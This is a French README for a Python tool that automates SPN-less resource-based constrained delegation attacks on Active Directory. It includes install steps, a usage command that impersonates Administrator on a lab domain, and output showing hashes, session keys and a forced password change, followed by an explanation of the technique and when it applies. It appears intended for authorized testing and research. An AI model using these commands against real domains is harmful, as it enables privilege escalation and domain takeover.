
Outil Python pour effectuer automatiquement des attaques RBCD sans SPN.

Outil Python pour obtenir des tickets de service Kerberos en utilisant la technique SPN-less. Basé sur Exploiting RBCD Using a Normal User Account.
Cet outil utilise le projet impacket.
Ces outils sont uniquement compatibles avec Python 3.5+. Clonez le dépôt depuis GitHub, installez les dépendances et vous êtes prêt :
git clone https://github.com/jarnovandenbrink/getSPNless.git
cd getSPNless
python3 -m pip install .
L'utilisation d'un virtualenv est recommandée.
python3 getSPNless.py -spn cifs/DC01.pwn.local -dc-ip 192.168.2.64 -impersonate Administrator pwn.local/low:'Somepass1'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting a TGT
[*] Calculating RC4 value of the provided password
[*] NT Hash: :3ac433014b4d5b1b4bc8a5350153ea93
[*] Saving ticket in low.ccache
[*] Ticket Session Key: 37ff4701394ef659bdd724e5dca5c00f
[*] Changing the password of pwn.local\low
[*] Connecting to DCE/RPC as pwn.local\low
[*] Password was changed successfully.
[!] User might need to change their password at next logon because we set hashes (unless password never expires is set).
[*] Impersonating Administrator
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]
[*] To revert the password, run: changepasswd.py pwn.local/low:[email protected] -hashes :37ff4701394ef659bdd724e5dca5c00f -newpass Somepass1
Alternativement, un hash NT peut être utilisé. Notez que lors de l'utilisation d'un hash NT, la récupération du mot de passe n'est possible que si le flag « password never expires » est défini sur le compte utilisateur.
Cet outil fournit une méthode pour contourner l'exigence de compte machine lors des attaques RBCD. Le problème actuel lors de l'utilisation d'un compte utilisateur pour RBCD est que le KDC ne sait pas quelle clé de chiffrement utiliser pour le ticket. Cet outil contourne cette limitation en demandant un TGT Kerberos, en extrayant la clé de session du ticket, et en modifiant le hash NT de l'utilisateur. En utilisant S4U2Self+U2U et S4U2Proxy, il est toujours possible d'obtenir un ticket de service. Je recommanderais personnellement d'utiliser des comptes machine, ou des shadow credentials avec PKINIT/UnPAC-the-Hash plutôt que SPN-less RBCD. Cependant, c'est une bonne alternative lorsque MachineAccountQuota est défini à 0 et qu'il n'y a pas d'ADCS disponible ou que PKINIT est désactivé. Notez que l'attaque ne fonctionnera pas si le type de chiffrement Kerberos RC4 est désactivé. Vous pouvez vérifier cela en vérifiant le type Kerberos 23 (Etype 23).
Ce projet a été développé en partie pendant mon travail chez Cyber Cloud et en partie sur mon temps personnel. Merci à Cyber Cloud d'avoir fourni le temps pour développer et rechercher ce travail.